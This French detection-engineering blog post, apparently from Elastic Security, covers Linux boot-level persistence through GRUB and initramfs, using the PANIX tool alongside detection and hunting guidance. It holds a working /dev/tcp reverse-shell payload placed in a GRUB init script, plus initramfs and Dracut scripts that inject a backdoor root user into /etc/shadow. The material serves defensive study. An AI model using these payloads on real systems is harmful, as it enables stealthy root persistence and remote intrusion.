Introduction
Bienvenue dans cette conclusion de la série ''Linux Persistence Detection Engineering'' ! Dans cette cinquième et dernière partie, nous continuons à approfondir le monde de la persistance de Linux. En s'appuyant sur les concepts et techniques fondamentaux explorés dans les publications précédentes, cet article discute de portes dérobées et de mécanismes de persistance plus obscurs, créatifs et/ou complexes.
Si vous avez manqué les articles précédents, ils posent les bases en explorant les concepts clés de la persistance. Vous pouvez les retrouver ici :
- Ingénierie de détection Linux - Une introduction aux mécanismes de persistance
- Ingénierie de détection Linux - Une suite sur les mécanismes de persistance
- Ingénierie de détection Linux - Une continuation sur les mécanismes de persistance
- Ingénierie de détection Linux - Approche du sommet sur les mécanismes de persistance
Dans cette publication, nous fournirons des informations approfondies sur ces mécanismes de persistance en les illustrant :
- Fonctionnement (théorie)
- Comment les mettre en place (pratique)
- Comment les détecter (règles SIEM et Endpoint)
- Comment les rechercher (chasse aux références ES|QL et OSQuery)
Pour rendre le processus encore plus attrayant, nous utiliserons PANIX, un outil de persistance Linux personnalisé conçu par Ruben Groenewoud d'Elastic Security. PANIX vous permet de rationaliser et d'expérimenter les configurations de persistance Linux, ce qui facilite l'identification et le test des possibilités de détection.
À la fin de cette série, vous aurez une connaissance approfondie des techniques de persistance de Linux, qu'elles soient courantes ou rares, et vous saurez comment concevoir des détections efficaces pour les capacités courantes et avancées des utilisateurs malveillants. Êtes-vous prêt à découvrir les dernières pièces du puzzle de la persistance de Linux ? Entrons dans le vif du sujet.
Note d'installation
Pour vous assurer que vous êtes prêt à détecter les mécanismes de persistance présentés dans cet article, il est important d'activer et de mettre à jour nos règles de détection prédéfinies. Si vous travaillez avec un ensemble de règles personnalisé et que vous n'utilisez pas toutes nos règles prédéfinies, c'est une excellente occasion de les tester et de combler d'éventuelles lacunes. Nous sommes maintenant prêts à commencer.
T1542 - Amorçage avant système d'exploitation : chargeur d'amorçage GRUB
GRUB (GRand Unified Bootloader) est un chargeur d'amorçage largement utilisé sur les systèmes Linux, responsable du chargement du noyau et de l'initialisation du système d'exploitation. GRUB offre un framework flexible qui prend en charge diverses configurations, ce qui en fait un outil puissant pour gérer le processus d'amorçage. Il sert d'intermédiaire entre le micrologiciel du système (BIOS/UEFI) et le système d'exploitation. Lorsqu'un système Linux est démarré, la séquence suivante se produit généralement :
-
Firmware du système
- Le BIOS ou l'UEFI initialise les composants matériels (par exemple, le processeur, la RAM, les périphériques de stockage) et effectue un POST (test automatique de démarrage).
- Il localise ensuite le chargeur d'amorçage sur le périphérique de démarrage désigné (généralement en fonction des paramètres de priorité de démarrage).
-
Chargeur d’amorçage GRUB
- GRUB est chargé en mémoire.
- Il affiche un menu (s'il est activé) qui permet aux utilisateurs de sélectionner un système d'exploitation, une version du noyau ou un mode de récupération.
- GRUB charge l'image du noyau (
vmlinuz
) en mémoire, ainsi que l'image initramfs/initrd (initrd.img
), qui est un système de fichiers racine temporaire utilisé pour la configuration initiale du système (par exemple, le chargement des modules du noyau pour les systèmes de fichiers et le matériel). - GRUB transmet les paramètres du noyau (par exemple, l'emplacement du système de fichiers racine, les options de démarrage) et transfère le contrôle au noyau.
-
Exécution du noyau
- Le noyau est décompressé et initialisé. Il commence à détecter et à initialiser le matériel du système.
- Le noyau monte le système de fichiers racine spécifié dans les paramètres du noyau.
- Il démarre le système d'initialisation (traditionnellement
init
, mais désormais souventsystemd
), qui est le premier processus (PID 1
) à initialiser et gérer l'espace utilisateur. - Le système
init
configure des services, monte des systèmes de fichiers et lance des sessions utilisateur.
Le système de configuration de GRUB est flexible et modulaire, permettant aux administrateurs de définir le comportement du chargeur d'amorçage, les paramètres du noyau et les entrées de menu. Toutes les principales distributions utilisent /etc/default/grub
comme fichier de configuration principal pour GRUB. Ce fichier contient des options de haut niveau, telles que les paramètres par défaut du noyau, le délai d'amorçage et les paramètres graphiques. Par exemple :
GRUB_TIMEOUT=5 # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0 # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters
Pour plus de flexibilité, GRUB prend en charge une approche modulaire de la configuration par le biais de répertoires de scripts. Ils se trouvent généralement dans /etc/default/grub.d/
(Ubuntu/Debian) et /etc/grub.d/
(Fedora/CentOS/RHEL). Les scripts contenus dans ces répertoires sont combinés dans la configuration finale lors du processus de mise à jour.
Avant le démarrage, le chargeur d'amorçage GRUB doit être compilé. Le fichier de configuration GRUB compilé est la sortie finale utilisée par le chargeur d'amorçage lors de l'exécution. Il est généré à partir des paramètres dans /etc/default/grub
et des scripts modulaires dans /etc/grub.d/
(ou dans des répertoires et fichiers similaires pour d'autres distributions). Cette configuration est ensuite stockée dans /boot/grub/grub.cfg
pour les systèmes BIOS, et dans /boot/efi/EFI/<distro>/grub.cfg
pour les systèmes UEFI.
Sur les systèmes basés sur Ubuntu et Debian, la commande update-grub
est utilisée pour générer la configuration de GRUB. Pour les systèmes Fedora, CentOS et RHEL, la commande équivalente est grub2-mkconfig
. Lors de la génération de la configuration, les événements suivants se produisent :
- Exécution de scripts:
- Tous les scripts modulaires dans
/etc/default/grub.d/
ou/etc/grub.d/
sont exécutés dans l'ordre numérique.
- Agrégation des paramètres:
- Les paramètres provenant de
/etc/default/grub
et des scripts modulaires sont fusionnés.
- Création des entrées de menu:
- GRUB détecte dynamiquement les noyaux et systèmes d'exploitation installés et génère les entrées de menu correspondantes.
- Compilation finale:
- La configuration combinée est écrite dans
/boot/grub/grub.cfg
(ou le chemin équivalent UEFI), prête à être utilisée au prochain démarrage.
Les utilisateurs malveillants peuvent exploiter la flexibilité de GRUB et son exécution précoce dans le processus de démarrage pour établir une persistance. En modifiant les fichiers de configuration de GRUB, ils peuvent injecter des paramètres ou des scripts malveillants qui s'exécutent avec des privilèges de l'utilisateur root avant que le système d'exploitation ne soit complètement initialisé. Les cybercriminels peuvent :
- Injecter des paramètres de noyau malveillants :
- L'ajout de paramètres tels que
init=/payload.sh
dans/etc/default/grub
ou directement dans le menu GRUB au démarrage force le noyau à exécuter un script malveillant au lieu du système par défautinit
.
- Modifier les entrées de menu:
- Les cybercriminels peuvent modifier les entrées de menu dans
/etc/grub.d/
afin d'inclure des commandes non autorisées ou de rediriger vers des noyaux malveillants.
- Créer des entrées de démarrage masquées :
- Ajout d'entrées de démarrage supplémentaires avec des configurations malveillantes qui ne s'affichent pas dans le menu GRUB.
Comme GRUB fonctionne avant que les mécanismes typiques de détection et de réponse aux points de terminaison (EDR) du système et les autres solutions ne soient actifs, cette technique est particulièrement difficile à détecter. De plus, le manque de connaissances sur ces types d’attaques rend la détection difficile, car les paramètres ou entrées malveillants peuvent sembler similaires à des configurations légitimes, rendant l'inspection manuelle sujette à des erreurs.
La manipulation de GRUB relève de la procédure T1542 : Amorçage avant système d'exploitation dans le framework MITRE ATT&CK. Cette technique englobe les attaques visant les chargeurs d'amorçage afin de prendre le contrôle avant l'initialisation du système d'exploitation. Malgré son importance, il n'existe actuellement aucune sous-technique dédiée aux attaques spécifiques à GRUB.
Dans la section suivante, nous examinerons comment les utilisateurs malveillants peuvent établir une persistance via GRUB en injectant des paramètres malveillants et en modifiant les configurations du chargeur d'amorçage.
Persistance via T1542 - Amorçage avant système d'exploitation : le chargeur d'amorçage GRUB
Dans cette section, nous examinerons les détails techniques liés à la persistance de GRUB. Pour ce faire, nous utiliserons le module setup_grub.sh de PANIX, un outil de persistance Linux personnalisé. En simulant cette technique, nous serons en mesure d'explorer des opportunités potentielles de détection.
Le module GRUB détecte la distribution Linux sur laquelle il s'exécute, et détermine les fichiers à modifier ainsi que les outils de support nécessaires pour établir la persistance. Il n'existe pas de compatibilité intégrée dans PANIX pour les systèmes d'exploitation basés sur Fedora dans ce module, en raison de l'environnement restreint disponible lors du processus de démarrage. PANIX détermine si la charge utile est déjà injectée et, si ce n'est pas le cas, crée un fichier de configuration personnalisé (cfg
) contenant le paramètre init=/grub-panix.sh
. Les fichiers de configuration GRUB sont chargés dans l'ordre croissant selon le préfixe numérique des modules. Pour garantir que le module injecté soit chargé en dernier, la priorité est fixée à 99.
local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"
echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF
Une fois ce fichier de configuration en place, le script /grub-panix.sh
est créé. Il contient une charge utile qui reste en veille pendant un certain temps (pour garantir la disponibilité du réseau), après quoi il exécute une charge utile inversée, en se détachant de son processus principal pour éviter tout blocage.
payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"
local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
echo "[*] Panix backdoor payload will execute after 10 seconds delay."
${payload}
echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF
Une fois ces fichiers en place, il ne reste plus qu'à mettre à jour GRUB pour qu'il contienne le module backdoor intégré en exécutant update-grub
.
Voyons à quoi ressemble ce processus du point de vue de l’ingénierie de détection. Exécutez le module PANIX à l'aide de la commande suivante :
> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.
Lors de l'exécution du module et du redémarrage de la machine, les documents suivants peuvent être observés dans Kibana :
Lors de l'exécution de PANIX, nous pouvons observer la création d'une sauvegarde de /etc/default/grub
, d'une nouvelle configuration modulaire de grub, /etc/default/grub.d/99-panix.cfg
, ainsi que de la charge utile de la porte dérobée (/grub-panix.sh
). Après avoir accordé les autorisations d'exécution nécessaires à la porte dérobée, GRUB est mis à jour via l'exécutable update-grub
, et la porte dérobée est maintenant prête. Au redémarrage, /grub-panix.sh
est exécuté par init
, qui est systemd
pour la plupart des systèmes d'exploitation modernes, permettant ainsi d'exécuter avec succès la chaîne shell inversée de /grub-panix.sh
→ nohup
→ setsid
→ bash
. La raison pour laquelle la valeur event.action
est already-running
est que la charge utile s'exécute pendant le processus de démarrage, avant l'initialisation d'Elastic Defend. En fonction du stade d'exécution de l'amorçage, Elastic Defend pourra capturer les événements manqués avec ce event.action
, nous permettant ainsi de continuer à détecter l'activité.
Jetons un coup d'œil à la couverture :
Règles de détection et de points de terminaison qui couvrent la persistance du chargeur d'amorçage GRUB
Vous pouvez annuler les modifications apportées par PANIX en exécutant la commande revert suivante :
> ./panix.sh --revert grub
[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.
À la recherche de T1542 -Amorçage avant système d'exploitation : chargeur d'amorçage GRUB
Outre le fait de s'appuyer sur les détections, il est important d'intégrer la recherche des menaces dans votre workflow, en particulier pour les mécanismes de persistance comme ceux-ci, où les événements peuvent potentiellement être manqués en raison de contraintes temporelles ou environnementales. Cette publication répertorie les recherches disponibles pour la persistance du chargeur d'amorçage GRUB. Cependant, pour plus de détails sur les bases de la recherche des menaces, consultez la section ''Recherche de T1053 - tâche planifiée'' de ''Linux Detection Engineering - Une introduction aux mécanismes de persistance''. Vous trouverez également des descriptions et des références dans notre référentiel de règles de détection, en particulier dans le sous-répertoire de recherche Linux.
Nous pouvons rechercher la persistance du chargeur d'amorçage GRUB à l'aide de ES|QL et OSQuery, en nous concentrant sur les créations, modifications et exécutions de fichiers liées aux configurations GRUB. L'approche inclut le suivi des éléments suivants :
- Créations et/ou modifications apportées aux fichiers de configuration GRUB : suivi des modifications apportées aux fichiers critiques tels que le fichier de configuration et les modules GRUB, ainsi que le binaire GRUB compilé. Ces fichiers sont essentiels pour les configurations du chargeur d'amorçage et sont souvent ciblés pour la persistance basée sur GRUB.
- Exécution de commandes liées à GRUB : suivi des commandes telles que
grub-mkconfig
,grub2-mkconfig
etupdate-grub
, qui peuvent indiquer des tentatives de modification des paramètres GRUB ou de régénération des configurations de démarrage. - Analyse des métadonnées des fichiers GRUB : identification de la propriété, des heures d'accès et des modifications récentes des fichiers de configuration GRUB afin de détecter les modifications non autorisées.
- Surveillance de l'intégrité du noyau et de l'amorçage : suivi des données critiques relatives au noyau et à l'amorçage à l'aide des tables ES|QL et OSQuery telles que
secureboot
,platform_info
,kernel_info
etkernel_keys
, ce qui permet de mieux comprendre l'intégrité de l'amorçage du système et les configurations du noyau.
En combinant la règle de recherche Persistence via GRUB Bootloader et General Kernel Manipulation avec les requêtes de détection personnalisées répertoriées ci-dessus, les analystes peuvent identifier et répondre efficacement à T1542.
T1542- Pre-OS Boot : Initramfs
Initramfs (Initial RAM Filesystem) joue un rôle essentiel dans le processus de démarrage de Linux, car il fait office de système de fichiers racine temporaire chargé en mémoire par le chargeur d'amorçage. Il permet au noyau d'initialiser le matériel, de charger les modules nécessaires et de préparer le système à monter le véritable système de fichiers racine.
Comme nous l'avons appris dans la section précédente, le chargeur d'amorçage (par exemple, GRUB) charge deux composants clés : le noyau (vmlinuz
) et l'image initramfs (initrd.img
). Le initrd.img
est un système de fichiers compressé, généralement stocké dans le /boot/
, qui contient des pilotes essentiels et des binaires (par exemple busybox
), des bibliothèques et des scripts pour une initialisation rapide du système. Stocké dans des formats tels que gzip, LZ4 ou xz, il s'extrait dans un système de fichiers Linux minimal avec des répertoires tels que /bin
, /lib
et /etc
. Une fois que le système de fichiers racine réel est monté, le contrôle est transféré au système principal init
(par exemple, systemd
), et l'initramfs est supprimé.
Initramfs joue un rôle central dans le processus de démarrage de Linux, mais il ne fonctionne pas de manière isolée. Le répertoire /boot/
contient des fichiers essentiels qui permettent au chargeur d'amorçage et au noyau de fonctionner de manière fluide. Ces fichiers incluent le binaire du noyau, l'image initramfs et les données de configuration nécessaires à l'initialisation du système. Voici une ventilation de ces composants essentiels :
- vmlinuz-<version>: fichier binaire compressé du noyau Linux.
- vmlinuz: lien symbolique vers le fichier binaire compressé du noyau Linux.
- initrd.img-<version> ou initramfs.img-<version> : image initramfs qui contient le système de fichiers temporaire.
- initrd.img ou initramfs.img : lien symbolique vers l'image initramfs.
- config-<version> : options de configuration pour la version spécifique du noyau.
- System.carte-<version> : carte de symboles du noyau utilisée pour le débogage.
- grub/ : fichiers de configuration du chargeur d'amorçage.
À l'instar de GRUB, initramfs est exécuté très tôt dans le processus de démarrage et constitue donc une cible intéressante pour les cybercriminels à la recherche d'une persistance furtive. La modification de son contenu (par exemple, l'ajout de scripts malveillants ou l'altération de la logique d'initialisation) permet l'exécution de code malveillant avant l'initialisation complète du système.
Bien qu'il n'existe actuellement aucune sous-section spécifique pour initramfs, la modification du processus de démarrage relève de la procédure T1542, Amorçage avant système d'exploitation dans le framework MITRE ATT&CK.
La section suivante explorera la manière dont les utilisateurs malveillants peuvent manipuler les initramfs, les méthodes qu'ils peuvent utiliser pour intégrer des mécanismes de persistance et la manière de détecter et d'atténuer ces menaces de manière efficace.
T1542 - Initramfs : modifications manuelles
La modification d'initramfs pour établir la persistance est une technique abordée dans l'article ''Initramfs Persistence Technique'' publié sur Breachlabs.io. Modifier initramfs à sa base implique essentiellement de déballer son système de fichiers compressé, d'apporter des modifications et de recompresser l'image pour assurer la maintenance de ses fonctionnalités tout en intégrant des mécanismes de persistance. Ce processus n'est pas intrinsèquement malveillant : les administrateurs peuvent modifier initramfs pour ajouter des pilotes ou des configurations personnalisées. Cependant, les utilisateurs malveillants peuvent exploiter cette flexibilité pour exécuter des actions malveillantes avant que le système d'exploitation principal ne soit complètement chargé.
Un exemple de technique consiste à ajouter du code au script init
pour manipuler le système de fichiers de l'hôte, par exemple en créant un utilisateur de porte dérobée, en modifiant les fichiers/services système ou en injectant des scripts qui persistent après les redémarrages.
Bien qu'il existe des outils d'aide pour utiliser initramfs, des modifications manuelles sont possibles grâce à des utilitaires de bas niveau tels que binwalk. Binwalk
est particulièrement utile pour l’analyse et l’extraction d’archives compressées, ce qui en fait un bon choix pour l’inspection et la déconstruction de l’image initramfs.
Dans la section suivante, nous expliquons en détail le processus de modification manuelle d'initramfs.
Persistance via T1542 - Initramfs : modifications manuelles
Dans cette section, nous allons manipuler ''manuellement'' des initramfs pour ajouter une porte dérobée au système pendant le processus de démarrage. Pour ce faire, nous utiliserons le module setup_initramfs.sh de PANIX. Analysons les aspects les plus importants du module pour nous assurer de bien comprendre ce qui se passe.
Lors de l'exécution du module, le fichier initrd.img
est sauvegardé, car la mise en œuvre d'une telle technique peut perturber le processus de démarrage, et il est toujours recommandé d'avoir une sauvegarde disponible. Ensuite, un répertoire temporaire est créé et l'image initramfs y est copiée. Grâce à binwalk
, nous pouvons identifier et cartographier les différentes archives intégrées au initrd.img
(telles que l'archive cpio
du microcode du processeur et l'archive cpio
compressée contenant le mini système de fichiers Linux). La chaîne TRAILER!!!
indique la fin d'une archive cpio
, nous permettant de savoir précisément où une archive se termine afin de la distinguer de la suivante. En d'autres termes, binwalk
nous montre où diviser le fichier, et le marqueur TRAILER!!!
confirme la limite du microcode cpio
avant d'extraire et de reconstruire le reste de l'initramfs. Pour des informations plus détaillées, consultez l'article « Initramfs Persistence Technique » de l'auteur original.
# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
echo "Error: Could not determine trailer address using binwalk."
exit 1
fi
echo "[*] Trailer address: $ADDRESS"
Cette section extrait et décompresse des parties du fichier initrd.img
en vue de leur modification. La commande dd
extrait la première archive cpio
(microcode) jusqu'à l'offset en octets indiqué par TRAILER!!!
, et la sauvegarde sous le nom initrd.img-begin
pour un réassemblage ultérieur. Ensuite, unmkinitramfs
extrait le reste du système de fichiers de initrd.img
dans un répertoire (initrd_extracted
), permettant ainsi les modifications.
dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }
unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }
Une fois le système de fichiers extrait, il peut être modifié pour obtenir une persistance. Ce processus se concentre sur la manipulation du fichier init
, qui permet d'initialiser le système Linux au démarrage. Le code exécute les opérations suivantes :
- Monter le système de fichiers racine en mode écriture.
- Essayez de créer un nouvel utilisateur avec des privilèges sudo en deux étapes :
- Vérifier si l'utilisateur fourni existe déjà. Le cas échéant, abandonner.
- Si l'utilisateur n'existe pas, l'ajouter manuellement à
/etc/shadow
,/etc/passwd
et/etc/group
.
Cette charge utile peut être modifiée pour correspondre à la charge utile souhaitée. Étant donné que l'environnement dans lequel nous travaillons est très limité, nous devons veiller à n'utiliser que les outils disponibles.
Après avoir ajouté la charge utile correcte, initramfs peut être reconditionné. Le script utilise :
find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end
pour reconditionner le système de fichiers dans initrd.img-end
. Il garantit que tous les fichiers appartiennent à root:root
(-R 0:0
) et utilise le format newc
compatible avec initramfs.
L'archive de microcode précédemment extraite (initrd.img-begin
) est concaténée avec l'archive nouvellement créée (initrd.img-end
) à l'aide de cat
pour produire un initrd.img-new
final :
cat initrd.img-begin initrd.img-end > initrd.img-new
Le nouveau initrd.img-new
remplace le fichier initramfs d'origine, garantissant que le système utilisera la version modifiée lors du prochain démarrage.
Maintenant que nous comprenons le processus, nous pouvons exécuter le module et laisser les événements se dérouler. Remarque : toutes les distributions Linux ne spécifient pas la fin d'une archive cpio
avec la chaîne TRAILER!!!
. Cette technique automatisée ne fonctionnera donc pas sur tous les systèmes. Poursuivons !
> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.
Examinons les événements générés dans Kibana :
En examinant les logs d'exécution, nous pouvons constater que openssl
est utilisé pour générer un hachage passwd
. Ensuite, l'image initramfs est copiée dans un répertoire temporaire, et binwalk
est utilisé pour localiser l'adresse du système de fichiers. Une fois la bonne section identifiée, unmkinitramfs
est invoqué pour extraire le système de fichiers, après quoi la charge utile est ajoutée au fichier init
. Ensuite, le système de fichiers est reconditionné via gzip
et cpio
, puis combiné dans une image initramfs pleinement fonctionnelle avec le microcode, le système de fichiers et d'autres sections. Cette image est ensuite copiée dans le répertoire /boot/
, remplaçant l'image initramfs
actuellement active. Au redémarrage, le nouvel utilisateur panix
avec les droits d'accès root est disponible.
Jetons un coup d'œil à la couverture :
Règles de détection et de point de terminaison qui couvrent la persistance manuelle des initramfs
Vous pouvez annuler les modifications apportées par PANIX en exécutant la commande revert suivante :
> ./panix.sh --revert initramfs
[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
Recherche de T1542 - Initramfs : modifications manuelles
Nous pouvons rechercher cette technique à l'aide d'ES|QL et d'OSQuery en nous concentrant sur les activités suspectes liées à l'utilisation d'outils tels que binwalk
. Cette technique consiste généralement à extraire, analyser et modifier les fichiers initramfs pour injecter des composants ou des scripts malveillants dans le processus de démarrage. L'approche inclut le suivi des éléments suivants :
- Exécution de Binwalk avec des arguments suspects : suivi des processus où
binwalk
est exécuté pour extraire ou analyser des fichiers. Cela peut révéler des tentatives d'inspection ou de falsification du contenu d'initramfs. - Créations et/ou modifications des fichiers Initramfs : suivi des modifications apportées au fichier initramfs (
/boot/initrd.img
). - Indicateurs généraux de manipulation du noyau : utilisation des requêtes telles que le suivi de
secureboot
,kernel_info
et les modifications de fichiers dans/boot/
pour détecter des signes plus généraux de manipulation du noyau et du chargeur d'amorçage, qui peuvent être liés à une utilisation abusive d'initramfs.
En combinant la règle de recherche de Persistence via Initramfs et de General Kernel Manipulation avec les requêtes de détection personnalisées répertoriées ci-dessus, les analystes peuvent identifier et répondre efficacement à T1542.
T1542 - Initramfs : modification avec Dracut
Dracut est un outil polyvalent pour la gestion des initramfs dans la plupart des systèmes Linux. Contrairement aux méthodes manuelles qui nécessitent de déconstruire et de reconstruire l'initramfs, Dracut propose une approche structurée et modulaire. Il simplifie la création, la modification et la régénération des images initramfs tout en offrant un framework robuste pour ajouter des fonctionnalités personnalisées. Il génère des images initramfs en assemblant un environnement Linux minimal adapté aux besoins du système. Sa conception modulaire garantit que seuls les pilotes, les bibliothèques et les scripts nécessaires sont inclus.
Dracut fonctionne à travers des modules, qui sont des répertoires autonomes contenant des scripts, des fichiers de configuration et des dépendances. Ces modules définissent le comportement et le contenu des initramfs. Par exemple, ils pourraient inclure des pilotes pour du matériel spécifique, des outils pour gérer des systèmes de fichiers chiffrés, ou une logique personnalisée pour les opérations de pré-démarrage.
Les modules Dracut sont généralement stockés dans :
/usr/lib/dracut/modules.d/
/lib/dracut/modules.d/
Chaque module se trouve dans un répertoire nommé selon le format XXname
, où XX
est un nombre à deux chiffres définissant l'ordre de chargement, et name
est le nom du module (par exemple, 01base
, 95udev
).
Le script principal qui définit comment le module s'intègre dans l'initramfs est appelé module-setup.sh
. Il précise les fichiers à inclure et les dépendances nécessaires. Voici un exemple de base d’un script module-setups.sh
:
#!/bin/bash
check() {
return 0
}
depends() {
echo "base"
}
install() {
inst_hook cmdline 30 "$moddir/my_custom_script.sh"
inst_simple /path/to/needed/binary
}
check()
: détermine si le module doit être inclus. Le fait de renvoyer 0 garantit que le module est toujours inclus.depends()
: spécifie les autres modules dont celui-ci dépend (par exemple :base
,udev
).install()
: définit les fichiers ou les scripts à inclure. Les fonctions telles queinst_hook
etinst_simple
simplifient le processus.
En utilisant Dracut, les attaquants ou les administrateurs peuvent facilement modifier initramfs pour inclure des scripts ou des fonctionnalités personnalisées. Par exemple, un acteur malveillant pourrait :
- Ajouter un script qui exécute des commandes au démarrage.
- Modifier les modules existants pour ajuster le comportement du système avant que le système de fichiers racine ne soit monté.
Dans la section suivante, nous verrons comment créer un module Dracut personnalisé pour modifier l'initramfs.
Persistance via T1542 - Initramfs : modification avec Dracut
Rien ne sert de courir, il faut partir à point. Dans la section précédente, nous avons appris à manipuler manuellement les initramfs, ce qui peut être difficile à configurer. Maintenant que nous avons compris les bases, nous pouvons persévérer beaucoup plus facilement en utilisant un outil d'assistance appelé Dracut, qui est disponible par défaut sur de nombreux systèmes Linux. Examinons à nouveau le module setup_initramfs.sh, mais cette fois-ci en nous concentrant sur la section Dracut.
Ce module PANIX crée un nouveau répertoire de module Dracut à /usr/lib/dracut/modules.d/99panix
, et crée un fichier module-setup.sh
avec le contenu suivant :
#!/bin/bash
check() { return 0; }
depends() { return 0; }
install() {
inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}
Ce script garantit que lorsque l'initramfs est construit à l'aide de Dracut, le script personnalisé (backdoor-user.sh
) est intégré et configuré pour être exécuté avant le pivot lors du démarrage. En s'exécutant à l'étape de pré-pivot, le script s'exécute avant que le contrôle ne soit transféré au système d'exploitation principal, garantissant ainsi qu'il peut apporter des modifications au véritable système de fichiers racine.
Après avoir accordé les autorisations d'exécution module-setup.sh
, le module continue à créer le fichier backdoor-user.sh
. Pour voir le contenu complet, consultez le code source du module. Les parties importantes sont les suivantes :
#!/bin/sh
# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
echo "[dracut] Could not remount /sysroot as RW. Exiting."
exit 1
}
[...]
if check_user_exists "${username}" /sysroot/etc/shadow; then
echo "[dracut] User '${username}' already exists in /etc/shadow."
else
echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
echo "[dracut] Added '${username}' to /etc/shadow."
fi
[...]
Tout d'abord, le script s'assure que le système de fichiers racine (/sysroot
) est accessible en écriture. Une fois cette vérification terminée, le script continue d’ajouter un nouvel utilisateur en modifiant manuellement les fichiers /etc/shadow
, /etc/passwd
et /etc/group
. Le plus important à noter, c'est que ces scripts s'appuient sur des utilitaires shell intégrés, car des utilitaires tels que grep
ou sed
ne sont pas disponibles dans cet environnement. Après avoir écrit le script, il reçoit les autorisations d'exécution et est prêt à être utilisé.
Enfin, Dracut est appelé à reconstruire l'initramfs pour la version du noyau actuellement active :
dracut --force /boot/initrd.img-$(uname -r) $(uname -r)
Une fois cette étape terminée, l'initramfs modifié est actif, et le redémarrage de la machine entraînera l'exécution du script backdoor-user.sh
.
Comme toujours, nous prenons d’abord un snapshot, puis nous exécutons le module :
> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.
Examinez aussi les documents disponibles dans Discover :
Lors de l'exécution, openssl
est utilisé pour générer un hachage pour le mot de passe secret
. Ensuite, la structure du répertoire /usr/lib/dracut/modules.d/99panix
est créée, et les scripts module-setup.sh
et backdoor-user.sh
sont créés et reçoivent des autorisations d'exécution. Une fois la régénération de l'initramfs terminée, la porte dérobée sera installée et sera active au redémarrage.
Jetons un coup d'œil à la couverture :
Règles de détection et de point de terminaison qui couvrent la persistance des initramfs dracut
Vous pouvez annuler les modifications apportées par PANIX en exécutant la commande revert suivante :
> ./panix.sh --revert initramfs
[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
Recherche de T1542 - Initramfs : modification avec Dracut
Nous pouvons rechercher cette technique à l'aide de ES|QL et OSQuery en nous concentrant sur les activités suspectes liées à l'utilisation d'outils tels que Dracut. L'approche inclut le suivi des éléments suivants :
- Exécution de Dracut avec des arguments suspects : suivi des processus où Dracut est exécuté pour régénérer ou modifier les fichiers initramfs, en particulier avec des arguments non standard. Cela peut aider à identifier les tentatives non autorisées de modification d'initramfs.
- Créations et/or modifications des modules Dracut: suivi des modifications apportées à
/lib/dracut/modules.d/
et/usr/lib/dracut/modules.d/
